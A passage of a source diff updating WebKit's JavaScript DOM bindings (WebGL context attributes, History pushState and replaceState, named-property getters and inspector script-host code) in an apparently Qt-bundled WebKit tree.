--- a/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLAllCollectionCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLAllCollectionCustom.cpp
@@ -112,9 +112,9 @@ bool JSHTMLAllCollection::canGetItemsForName(ExecState*, HTMLAllCollection* coll
     return !namedItems.isEmpty();
 }
 
-JSValue JSHTMLAllCollection::nameGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot& slot)
+JSValue JSHTMLAllCollection::nameGetter(ExecState* exec, JSValue slotBase, const Identifier& propertyName)
 {
-    JSHTMLAllCollection* thisObj = static_cast<JSHTMLAllCollection*>(asObject(slot.slotBase()));
+    JSHTMLAllCollection* thisObj = static_cast<JSHTMLAllCollection*>(asObject(slotBase));
     return getNamedItems(exec, thisObj, propertyName);
 }
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLAppletElementCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLAppletElementCustom.cpp
index 30892e0..40d20cf 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLAppletElementCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLAppletElementCustom.cpp
@@ -53,14 +53,4 @@ CallType JSHTMLAppletElement::getCallData(CallData& callData)
     return runtimeObjectGetCallData(impl(), callData);
 }
 
-bool JSHTMLAppletElement::canGetItemsForName(ExecState*, HTMLAppletElement*, const Identifier& propertyName)
-{
-    return propertyName == "__apple_runtime_object";
-}
-
-JSValue JSHTMLAppletElement::nameGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot& slot)
-{
-    return runtimeObjectGetter(exec, propertyName, slot);
-}
-
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLCanvasElementCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLCanvasElementCustom.cpp
index 8ecd287..80634f7 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLCanvasElementCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLCanvasElementCustom.cpp
@@ -26,10 +26,12 @@
 #include "config.h"
 #include "JSHTMLCanvasElement.h"
 
+#include "CanvasContextAttributes.h"
 #include "HTMLCanvasElement.h"
 #include "JSCanvasRenderingContext2D.h"
 #if ENABLE(3D_CANVAS)
-#include "JSCanvasRenderingContext3D.h"
+#include "JSWebGLRenderingContext.h"
+#include "WebGLContextAttributes.h"
 #endif
 #include <wtf/GetPtr.h>
 
@@ -47,4 +49,36 @@ void JSHTMLCanvasElement::markChildren(MarkStack& markStack)
     markDOMObjectWrapper(markStack, globalData, canvas->renderingContext());
 }
 
+JSValue JSHTMLCanvasElement::getContext(ExecState* exec, const ArgList& args)
+{
+    HTMLCanvasElement* canvas = static_cast<HTMLCanvasElement*>(impl());
+    const UString& contextId = args.at(0).toString(exec);
+    RefPtr<CanvasContextAttributes> attrs;
+#if ENABLE(3D_CANVAS)
+    if (contextId == "experimental-webgl" || contextId == "webkit-3d") {
+        attrs = WebGLContextAttributes::create();
+        WebGLContextAttributes* webGLAttrs = static_cast<WebGLContextAttributes*>(attrs.get());
+        if (args.size() > 1 && args.at(1).isObject()) {
+            JSObject* jsAttrs = args.at(1).getObject();
+            Identifier alpha(exec, "alpha");
+            if (jsAttrs->hasProperty(exec, alpha))
+                webGLAttrs->setAlpha(jsAttrs->get(exec, alpha).toBoolean(exec));
+            Identifier depth(exec, "depth");
+            if (jsAttrs->hasProperty(exec, depth))
+                webGLAttrs->setDepth(jsAttrs->get(exec, depth).toBoolean(exec));
+            Identifier stencil(exec, "stencil");
+            if (jsAttrs->hasProperty(exec, stencil))
+                webGLAttrs->setStencil(jsAttrs->get(exec, stencil).toBoolean(exec));
+            Identifier antialias(exec, "antialias");
+            if (jsAttrs->hasProperty(exec, antialias))
+                webGLAttrs->setAntialias(jsAttrs->get(exec, antialias).toBoolean(exec));
+            Identifier premultipliedAlpha(exec, "premultipliedAlpha");
+            if (jsAttrs->hasProperty(exec, premultipliedAlpha))
+                webGLAttrs->setPremultipliedAlpha(jsAttrs->get(exec, premultipliedAlpha).toBoolean(exec));
+        }
+    }
+#endif
+    return toJS(exec, globalObject(), WTF::getPtr(canvas->getContext(contextId, attrs.get())));
+}
+
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLCollectionCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLCollectionCustom.cpp
index dd4ceaa..73728ed 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLCollectionCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLCollectionCustom.cpp
@@ -109,9 +109,9 @@ bool JSHTMLCollection::canGetItemsForName(ExecState*, HTMLCollection* collection
     return !namedItems.isEmpty();
 }
 
-JSValue JSHTMLCollection::nameGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot& slot)
+JSValue JSHTMLCollection::nameGetter(ExecState* exec, JSValue slotBase, const Identifier& propertyName)
 {
-    JSHTMLCollection* thisObj = static_cast<JSHTMLCollection*>(asObject(slot.slotBase()));
+    JSHTMLCollection* thisObj = static_cast<JSHTMLCollection*>(asObject(slotBase));
     return getNamedItems(exec, thisObj, propertyName);
 }
 
@@ -134,7 +134,7 @@ JSValue toJS(ExecState* exec, JSDOMGlobalObject* globalObject, HTMLCollection* c
     if (!collection)
         return jsNull();
 
-    DOMObject* wrapper = getCachedDOMObjectWrapper(exec->globalData(), collection);
+    DOMObject* wrapper = getCachedDOMObjectWrapper(exec, collection);
 
     if (wrapper)
         return wrapper;
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLDocumentCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLDocumentCustom.cpp
index a65ca7c..410c553 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLDocumentCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLDocumentCustom.cpp
@@ -55,9 +55,9 @@ bool JSHTMLDocument::canGetItemsForName(ExecState*, HTMLDocument* document, cons
     return atomicPropertyName && (document->hasNamedItem(atomicPropertyName) || document->hasExtraNamedItem(atomicPropertyName));
 }
 
-JSValue JSHTMLDocument::nameGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot& slot)
+JSValue JSHTMLDocument::nameGetter(ExecState* exec, JSValue slotBase, const Identifier& propertyName)
 {
-    JSHTMLDocument* thisObj = static_cast<JSHTMLDocument*>(asObject(slot.slotBase()));
+    JSHTMLDocument* thisObj = static_cast<JSHTMLDocument*>(asObject(slotBase));
     HTMLDocument* document = static_cast<HTMLDocument*>(thisObj->impl());
 
     String name = propertyName;
@@ -113,7 +113,7 @@ JSValue JSHTMLDocument::open(ExecState* exec, const ArgList& args)
                 CallType callType = function.getCallData(callData);
                 if (callType == CallTypeNone)
                     return throwError(exec, TypeError);
-                return callInWorld(exec, function, callType, callData, wrapper, args, currentWorld(exec));
+                return JSC::call(exec, function, callType, callData, wrapper, args);
             }
         }
         return jsUndefined();
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLEmbedElementCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLEmbedElementCustom.cpp
index bce3ffb..b9f8c12 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLEmbedElementCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLEmbedElementCustom.cpp
@@ -53,14 +53,4 @@ CallType JSHTMLEmbedElement::getCallData(CallData& callData)
     return runtimeObjectGetCallData(impl(), callData);
 }
 
-bool JSHTMLEmbedElement::canGetItemsForName(ExecState*, HTMLEmbedElement*, const Identifier& propertyName)
-{
-    return propertyName == "__apple_runtime_object";
-}
-
-JSValue JSHTMLEmbedElement::nameGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot& slot)
-{
-    return runtimeObjectGetter(exec, propertyName, slot);
-}
-
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLFormElementCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLFormElementCustom.cpp
index de9ec4a..36ddfb1 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLFormElementCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLFormElementCustom.cpp
@@ -44,9 +44,9 @@ bool JSHTMLFormElement::canGetItemsForName(ExecState*, HTMLFormElement* form, co
     return namedItems.size();
 }
 
-JSValue JSHTMLFormElement::nameGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot& slot)
+JSValue JSHTMLFormElement::nameGetter(ExecState* exec, JSValue slotBase, const Identifier& propertyName)
 {
-    JSHTMLElement* jsForm = static_cast<JSHTMLFormElement*>(asObject(slot.slotBase()));
+    JSHTMLElement* jsForm = static_cast<JSHTMLFormElement*>(asObject(slotBase));
     HTMLFormElement* form = static_cast<HTMLFormElement*>(jsForm->impl());
 
     Vector<RefPtr<Node> > namedItems;
@@ -66,7 +66,7 @@ JSValue JSHTMLFormElement::submit(ExecState* exec, const ArgList&)
     Frame* activeFrame = asJSDOMWindow(exec->dynamicGlobalObject())->impl()->frame();
     if (!activeFrame)
         return jsUndefined();
-    static_cast<HTMLFormElement*>(impl())->submit(0, false, !activeFrame->script()->anyPageIsProcessingUserGesture());
+    static_cast<HTMLFormElement*>(impl())->submit(activeFrame);
     return jsUndefined();
 }
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLFrameSetElementCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLFrameSetElementCustom.cpp
index 68769d6..484c357 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLFrameSetElementCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLFrameSetElementCustom.cpp
@@ -47,9 +47,9 @@ bool JSHTMLFrameSetElement::canGetItemsForName(ExecState*, HTMLFrameSetElement*
     return frame && frame->hasTagName(frameTag);
 }
 
-JSValue JSHTMLFrameSetElement::nameGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot& slot)
+JSValue JSHTMLFrameSetElement::nameGetter(ExecState* exec, JSValue slotBase, const Identifier& propertyName)
 {
-    JSHTMLElement* thisObj = static_cast<JSHTMLElement*>(asObject(slot.slotBase()));
+    JSHTMLElement* thisObj = static_cast<JSHTMLElement*>(asObject(slotBase));
     HTMLElement* element = static_cast<HTMLElement*>(thisObj->impl());
 
     Node* frame = element->children()->namedItem(propertyName);
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLObjectElementCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLObjectElementCustom.cpp
index 1bfb51f..68c9e59 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLObjectElementCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSHTMLObjectElementCustom.cpp
@@ -53,14 +53,4 @@ CallType JSHTMLObjectElement::getCallData(CallData& callData)
     return runtimeObjectGetCallData(impl(), callData);
 }
 
-bool JSHTMLObjectElement::canGetItemsForName(ExecState*, HTMLObjectElement*, const Identifier& propertyName)
-{
-    return propertyName == "__apple_runtime_object";
-}
-
-JSValue JSHTMLObjectElement::nameGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot& slot)
-{
-    return runtimeObjectGetter(exec, propertyName, slot);
-}
-
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSHistoryCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSHistoryCustom.cpp
index b24b1ff..c031b30 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSHistoryCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSHistoryCustom.cpp
@@ -38,17 +38,17 @@ using namespace JSC;
 
 namespace WebCore {
 
-static JSValue nonCachingStaticBackFunctionGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot&)
+static JSValue nonCachingStaticBackFunctionGetter(ExecState* exec, JSValue, const Identifier& propertyName)
 {
     return new (exec) NativeFunctionWrapper(exec, exec->lexicalGlobalObject()->prototypeFunctionStructure(), 0, propertyName, jsHistoryPrototypeFunctionBack);
 }
 
-static JSValue nonCachingStaticForwardFunctionGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot&)
+static JSValue nonCachingStaticForwardFunctionGetter(ExecState* exec, JSValue, const Identifier& propertyName)
 {
     return new (exec) NativeFunctionWrapper(exec, exec->lexicalGlobalObject()->prototypeFunctionStructure(), 0, propertyName, jsHistoryPrototypeFunctionForward);
 }
 
-static JSValue nonCachingStaticGoFunctionGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot&)
+static JSValue nonCachingStaticGoFunctionGetter(ExecState* exec, JSValue, const Identifier& propertyName)
 {
     return new (exec) NativeFunctionWrapper(exec, exec->lexicalGlobalObject()->prototypeFunctionStructure(), 1, propertyName, jsHistoryPrototypeFunctionGo);
 }
@@ -95,15 +95,15 @@ bool JSHistory::getOwnPropertySlotDelegate(ExecState* exec, const Identifier& pr
 
 bool JSHistory::getOwnPropertyDescriptorDelegate(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
 {
-    // When accessing History cross-domain, functions are always the native built-in ones.
-    // See JSDOMWindow::getOwnPropertySlotDelegate for additional details.
-    
-    // Our custom code is only needed to implement the Window cross-domain scheme, so if access is
-    // allowed, return false so the normal lookup will take place.
-    String message;
-    if (allowsAccessFromFrame(exec, impl()->frame(), message))
-        return false;
-    
+    if (!impl()->frame()) {
+        descriptor.setUndefined();
+        return true;
+    }
+
+    // Throw out all cross domain access
+    if (!allowsAccessFromFrame(exec, impl()->frame()))
+        return true;
+
     // Check for the few functions that we allow, even when called cross-domain.
     const HashEntry* entry = JSHistoryPrototype::s_info.propHashTable(exec)->entry(exec, propertyName);
     if (entry) {
@@ -133,8 +133,7 @@ bool JSHistory::getOwnPropertyDescriptorDelegate(ExecState* exec, const Identifi
             return true;
         }
     }
-    
-    printErrorMessageForFrame(impl()->frame(), message);
+
     descriptor.setUndefined();
     return true;
 }
@@ -155,12 +154,60 @@ bool JSHistory::deleteProperty(ExecState* exec, const Identifier& propertyName)
     return Base::deleteProperty(exec, propertyName);
 }
 
-void JSHistory::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
+void JSHistory::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)
 {
     // Only allow the history object to enumerated by frames in the same origin.
     if (!allowsAccessFromFrame(exec, impl()->frame()))
         return;
-    Base::getOwnPropertyNames(exec, propertyNames);
+    Base::getOwnPropertyNames(exec, propertyNames, mode);
+}
+
+JSValue JSHistory::pushState(ExecState* exec, const ArgList& args)
+{
+    RefPtr<SerializedScriptValue> historyState = SerializedScriptValue::create(exec, args.at(0));
+    if (exec->hadException())
+        return jsUndefined();
+
+    String title = valueToStringWithUndefinedOrNullCheck(exec, args.at(1));
+    if (exec->hadException())
+        return jsUndefined();
+        
+    String url;
+    if (args.size() > 2) {
+        url = valueToStringWithUndefinedOrNullCheck(exec, args.at(2));
+        if (exec->hadException())
+            return jsUndefined();
+    }
+
+    ExceptionCode ec = 0;
+    impl()->stateObjectAdded(historyState.release(), title, url, History::StateObjectPush, ec);
+    setDOMException(exec, ec);
+
+    return jsUndefined();
+}
+
+JSValue JSHistory::replaceState(ExecState* exec, const ArgList& args)
+{
+    RefPtr<SerializedScriptValue> historyState = SerializedScriptValue::create(exec, args.at(0));
+    if (exec->hadException())
+        return jsUndefined();
+
+    String title = valueToStringWithUndefinedOrNullCheck(exec, args.at(1));
+    if (exec->hadException())
+        return jsUndefined();
+        
+    String url;
+    if (args.size() > 2) {
+        url = valueToStringWithUndefinedOrNullCheck(exec, args.at(2));
+        if (exec->hadException())
+            return jsUndefined();
+    }
+
+    ExceptionCode ec = 0;
+    impl()->stateObjectAdded(historyState.release(), title, url, History::StateObjectReplace, ec);
+    setDOMException(exec, ec);
+
+    return jsUndefined();
 }
 
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSImageConstructor.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSImageConstructor.cpp
index 0f4a991..a574326 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSImageConstructor.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSImageConstructor.cpp
@@ -1,6 +1,6 @@
 /*
  *  Copyright (C) 1999-2000 Harri Porten (porten@kde.org)
- *  Copyright (C) 2004, 2005, 2006, 2007, 2008 Apple Inc. All rights reserved.
+ *  Copyright (C) 2004, 2005, 2006, 2007, 2008, 2010 Apple Inc. All rights reserved.
  *
  *  This library is free software; you can redistribute it and/or
  *  modify it under the terms of the GNU Lesser General Public
@@ -24,7 +24,6 @@
 #include "HTMLNames.h"
 #include "JSHTMLImageElement.h"
 #include "JSNode.h"
-#include "ScriptExecutionContext.h"
 #include <runtime/Error.h>
 
 using namespace JSC;
@@ -43,35 +42,30 @@ JSImageConstructor::JSImageConstructor(ExecState* exec, JSDOMGlobalObject* globa
 
 static JSObject* constructImage(ExecState* exec, JSObject* constructor, const ArgList& args)
 {
-    bool widthSet = false;
-    bool heightSet = false;
-    int width = 0;
-    int height = 0;
-    if (args.size() > 0) {
-        widthSet = true;
-        width = args.at(0).toInt32(exec);
-    }
-    if (args.size() > 1) {
-        heightSet = true;
-        height = args.at(1).toInt32(exec);
-    }
-
     JSImageConstructor* jsConstructor = static_cast<JSImageConstructor*>(constructor);
     Document* document = jsConstructor->document();
     if (!document)
         return throwError(exec, ReferenceError, "Image constructor associated document is unavailable");
 
     // Calling toJS on the document causes the JS document wrapper to be
-    // added to the window object. This is done to ensure that JSDocument::mark
-    // will be called (which will cause the image element to be marked if necessary).
+    // added to the window object. This is done to ensure that JSDocument::markChildren
+    // will be called, which will cause the image element to be marked if necessary.
     toJS(exec, jsConstructor->globalObject(), document);
+    int width;
+    int height;
+    int* optionalWidth = 0;
+    int* optionalHeight = 0;
+    if (args.size() > 0) {
+        width = args.at(0).toInt32(exec);
+        optionalWidth = &width;
+    }
+    if (args.size() > 1) {
+        height = args.at(1).toInt32(exec);
+        optionalHeight = &height;
+    }
 
-    RefPtr<HTMLImageElement> image = new HTMLImageElement(HTMLNames::imgTag, document);
-    if (widthSet)
-        image->setWidth(width);
-    if (heightSet)
-        image->setHeight(height);
-    return asObject(toJS(exec, jsConstructor->globalObject(), image.release()));
+    return asObject(toJS(exec, jsConstructor->globalObject(),
+        HTMLImageElement::createForJSConstructor(document, optionalWidth, optionalHeight)));
 }
 
 ConstructType JSImageConstructor::getConstructData(ConstructData& constructData)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSImageDataCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSImageDataCustom.cpp
index fa3b1d5..61c5112 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSImageDataCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSImageDataCustom.cpp
@@ -41,7 +41,7 @@ JSValue toJS(ExecState* exec, JSDOMGlobalObject* globalObject, ImageData* imageD
     if (!imageData)
         return jsNull();
     
-    DOMObject* wrapper = getCachedDOMObjectWrapper(exec->globalData(), imageData);
+    DOMObject* wrapper = getCachedDOMObjectWrapper(exec, imageData);
     if (wrapper)
         return wrapper;
     
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSInjectedScriptHostCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSInjectedScriptHostCustom.cpp
new file mode 100644
index 0000000..75597fb
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSInjectedScriptHostCustom.cpp
@@ -0,0 +1,234 @@
+/*
+ * Copyright (C) 2007, 2008 Apple Inc. All rights reserved.
+ * Copyright (C) 2008 Matt Lilek <webkit@mattlilek.com>
+ * Copyright (C) 2010 Google Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ *
+ *     * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above
+ * copyright notice, this list of conditions and the following disclaimer
+ * in the documentation and/or other materials provided with the
+ * distribution.
+ *     * Neither the name of Google Inc. nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+#include "JSInjectedScriptHost.h"
+
+#if ENABLE(INSPECTOR)
+
+#include "Console.h"
+#if ENABLE(DATABASE)
+#include "Database.h"
+#include "JSDatabase.h"
+#endif
+#include "ExceptionCode.h"
+#include "Frame.h"
+#include "FrameLoader.h"
+#include "InjectedScript.h"
+#include "InjectedScriptHost.h"
+#include "InspectorController.h"
+#include "InspectorResource.h"
+#include "JSDOMWindow.h"
+#include "JSNode.h"
+#include "JSRange.h"
+#include "Node.h"
+#include "Page.h"
+#if ENABLE(DOM_STORAGE)
+#include "SerializedScriptValue.h"
+#include "Storage.h"
+#include "JSStorage.h"
+#endif
+#include "TextIterator.h"
+#include "VisiblePosition.h"
+#include <parser/SourceCode.h>
+#include <runtime/JSArray.h>
+#include <runtime/JSLock.h>
+#include <wtf/RefPtr.h>
+#include <wtf/Vector.h>
+
+#if ENABLE(JAVASCRIPT_DEBUGGER)
+#include "JavaScriptCallFrame.h"
+#include "JSJavaScriptCallFrame.h"
+#include "ScriptDebugServer.h"
+#endif
+
+using namespace JSC;
+
+namespace WebCore {
+
+ScriptObject InjectedScriptHost::createInjectedScript(const String& source, ScriptState* scriptState, long id)
+{
+    SourceCode sourceCode = makeSource(source);
+    JSLock lock(SilenceAssertionsOnly);
+    JSDOMGlobalObject* globalObject = static_cast<JSDOMGlobalObject*>(scriptState->lexicalGlobalObject());
+    JSValue globalThisValue = scriptState->globalThisValue();
+    Completion comp = JSC::evaluate(scriptState, globalObject->globalScopeChain(), sourceCode, globalThisValue);
+    if (comp.complType() != JSC::Normal && comp.complType() != JSC::ReturnValue)
+        return ScriptObject();
+    JSValue functionValue = comp.value();
+    CallData callData;
+    CallType callType = functionValue.getCallData(callData);
+    if (callType == CallTypeNone)
+        return ScriptObject();
+
+    MarkedArgumentBuffer args;
+    args.append(toJS(scriptState, globalObject, this));
+    args.append(globalThisValue);
+    args.append(jsNumber(scriptState, id));
+    JSValue result = JSC::call(scriptState, functionValue, callType, callData, globalThisValue, args);
+    if (result.isObject())
+        return ScriptObject(scriptState, result.getObject());
+    return ScriptObject();
+}
+
+#if ENABLE(DATABASE)
+JSValue JSInjectedScriptHost::databaseForId(ExecState* exec, const ArgList& args)
+{
+    if (args.size() < 1)
+        return jsUndefined();
+
+    InspectorController* ic = impl()->inspectorController();
+    if (!ic)
+        return jsUndefined();
+
+    Database* database = impl()->databaseForId(args.at(0).toInt32(exec));
+    if (!database)
+        return jsUndefined();
+    return toJS(exec, database);
+}
+#endif
+
+#if ENABLE(JAVASCRIPT_DEBUGGER)
+JSValue JSInjectedScriptHost::currentCallFrame(ExecState* exec, const ArgList&)
+{
+    JavaScriptCallFrame* callFrame = ScriptDebugServer::shared().currentCallFrame();
+    if (!callFrame || !callFrame->isValid())
+        return jsUndefined();
+
+    JSLock lock(SilenceAssertionsOnly);
+    return toJS(exec, callFrame);
+}
+
+JSValue JSInjectedScriptHost::isActivation(ExecState*, const ArgList& args)
+{
+    JSObject* object = args.at(0).getObject();
+    return jsBoolean(object && object->isActivationObject());
+}
+#endif
+
+JSValue JSInjectedScriptHost::nodeForId(ExecState* exec, const ArgList& args)
+{
+    if (args.size() < 1)
+        return jsUndefined();
+
+    Node* node = impl()->nodeForId(args.at(0).toInt32(exec));
+    if (!node)
+        return jsUndefined();
+
+    InspectorController* ic = impl()->inspectorController();
+    if (!ic)
+        return jsUndefined();
+
+    JSLock lock(SilenceAssertionsOnly);
+    return toJS(exec, node);
+}
+
+JSValue JSInjectedScriptHost::pushNodePathToFrontend(ExecState* exec, const ArgList& args)
+{
+    if (args.size() < 3)
+        return jsUndefined();
+
+    Node* node = toNode(args.at(0));
+    if (!node)
+        return jsUndefined();
+
+    bool withChildren = args.at(1).toBoolean(exec);
+    bool selectInUI = args.at(2).toBoolean(exec);
+    return jsNumber(exec, impl()->pushNodePathToFrontend(node, withChildren, selectInUI));
+}
+
+#if ENABLE(DATABASE)
+JSValue JSInjectedScriptHost::selectDatabase(ExecState*, const ArgList& args)
+{
+    if (args.size() < 1)
+        return jsUndefined();
+
+    Database* database = toDatabase(args.at(0));
+    if (database)
+        impl()->selectDatabase(database);
+    return jsUndefined();
+}
+#endif
+
+#if ENABLE(DOM_STORAGE)
+JSValue JSInjectedScriptHost::selectDOMStorage(ExecState*, const ArgList& args)
+{
+    if (args.size() < 1)
+        return jsUndefined();
+    InspectorController* ic = impl()->inspectorController();
+    if (!ic)
+        return jsUndefined();
+
+    Storage* storage = toStorage(args.at(0));
+    if (storage)
+        impl()->selectDOMStorage(storage);
+    return jsUndefined();
+}
+#endif
+
+JSValue JSInjectedScriptHost::reportDidDispatchOnInjectedScript(ExecState* exec, const ArgList& args)
+{
+    if (args.size() < 3)
+        return jsUndefined();
+    
+    if (!args.at(0).isInt32())
+        return jsUndefined();
+    int callId = args.at(0).asInt32();
+    
+    RefPtr<SerializedScriptValue> result(SerializedScriptValue::create(exec, args.at(1)));
+    
+    bool isException;
+    if (!args.at(2).getBoolean(isException))
+        return jsUndefined();
+    impl()->reportDidDispatchOnInjectedScript(callId, result.get(), isException);
+    return jsUndefined();
+}
+
+InjectedScript InjectedScriptHost::injectedScriptFor(ScriptState* scriptState)
+{
+    JSLock lock(SilenceAssertionsOnly);
+    JSDOMGlobalObject* globalObject = static_cast<JSDOMGlobalObject*>(scriptState->lexicalGlobalObject());
+    JSObject* injectedScript = globalObject->injectedScript();
+    if (injectedScript)
+        return InjectedScript(ScriptObject(scriptState, injectedScript));
+
+    ASSERT(!m_injectedScriptSource.isEmpty()); 
+    pair<long, ScriptObject> injectedScriptObject = injectScript(m_injectedScriptSource, scriptState);
+    globalObject->setInjectedScript(injectedScriptObject.second.jsObject());
+    InjectedScript result(injectedScriptObject.second);
+    m_idToInjectedScript.set(injectedScriptObject.first, result);
+    return result;
+}
+
+} // namespace WebCore
+
+#endif // ENABLE(INSPECTOR)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSInspectedObjectWrapper.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSInspectedObjectWrapper.cpp
deleted file mode 100644
index ed79427..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSInspectedObjectWrapper.cpp
+++ /dev/null
@@ -1,131 +0,0 @@
-/*
- * Copyright (C) 2008 Apple Inc. All Rights Reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#include "config.h"
-#include "JSInspectedObjectWrapper.h"
-
-#if ENABLE(INSPECTOR)
-
-#include "JSInspectorCallbackWrapper.h"
-#include <runtime/JSGlobalObject.h>
-#include <wtf/StdLibExtras.h>
-
-using namespace JSC;
-
-namespace WebCore {
-
-ASSERT_CLASS_FITS_IN_CELL(JSInspectedObjectWrapper);
-
-typedef HashMap<JSObject*, JSInspectedObjectWrapper*> WrapperMap;
